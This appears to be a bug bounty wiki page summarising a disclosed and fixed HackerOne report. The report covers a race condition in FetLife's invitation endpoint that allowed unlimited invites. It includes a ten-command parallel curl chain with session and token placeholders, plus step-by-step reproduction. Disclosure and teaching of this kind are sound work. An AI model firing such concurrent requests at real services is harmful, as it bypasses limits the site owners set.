Race condition in endpoint POST fetlife.com/users/invitation, allow attacker to generate unlimited invites
The invitation endpoint was vulnerable to a race condition, allowing multiple simultaneous requests to each consume only one invite credit. An attacker could send many invites at once and then cancel them to regain the credits, effectively generating unlimited invites.
Originally disclosed on HackerOne
- Triaged in 9 days
- Fixed in 12 days
- Paid in 9 days
- Disclosed after 42 days
This report describes the same bug as #1455487. I rewrite this bug here to make the report clearer. I will self-close #1455487 right now.
Description
The Invite Your Friend to Join FetLife feature is vulnerable to race condition.
By sending many requests at the same time to endpoint POST fetlife.com/users/invitation. We are able to send many invites with the cost of 1 invite.

Also, if we cancel sent-invite, we get back this invite. So basically, we can create unlimited invites by send many invites in race condition, then canceling them to get invites added back to our account.

Step to Reproduce
This is a chain of 10 curl commands in the form of curl_command_1 & curl_command_2 & ... & curl_command_10. It allows us to run 10 curl commands at the same time.
curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_1}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_2}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_3}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_4}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_5}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_6}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_7}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_8}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_9}' & curl 'https://fetlife.com/users/invitation' -H 'User-Agent: cur1' -H 'Cookie: _fl_sessionid={session_id}' --data 'authenticity_token={authenticity_token}&user%5Bemail%5D={email_address_10}'
- Please inputs your
session_idandauthenticity_tokenin the above command, there are 10 places to input for each - Please uses 10 different emails for 10 curl commands above. such as,
[email protected], [email protected], ..., [email protected] - Please url-encode your email addresses, so that:
[email protected]becomesexample%2B1%40gmail.com
Impact
Attacker is able to generate unlimited amount of invites.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the invite credit check and deduction were not atomic, so concurrent requests could all pass the check before any credit was deducted.
Impact
An attacker could generate an unlimited number of invites, bypassing the intended invite limit.
What the attacker needed
Valid session and authenticity token
How it was found
- Prepare a command that sends ten invite requests simultaneously, each with a different email address.
- Insert your session ID and authenticity token into each of the ten request placeholders.
- Use ten distinct email addresses, URL-encoded, one per request.
- Run the combined command to fire all ten requests at once.
- Observe that ten invites are sent but only one invite credit is consumed.
- Cancel the sent invites to have the credit returned, then repeat to generate unlimited invites.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A race condition happens when a website checks a limit (like 'you have 1 invite left') but then processes several requests at the same moment before updating the count. Here, sending many invite requests at once meant each one thought a credit was available, so the attacker got many invites for the price of one. Cancelling those invites then returned the credits, letting the attacker repeat the trick endlessly.
What is Race condition?
Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.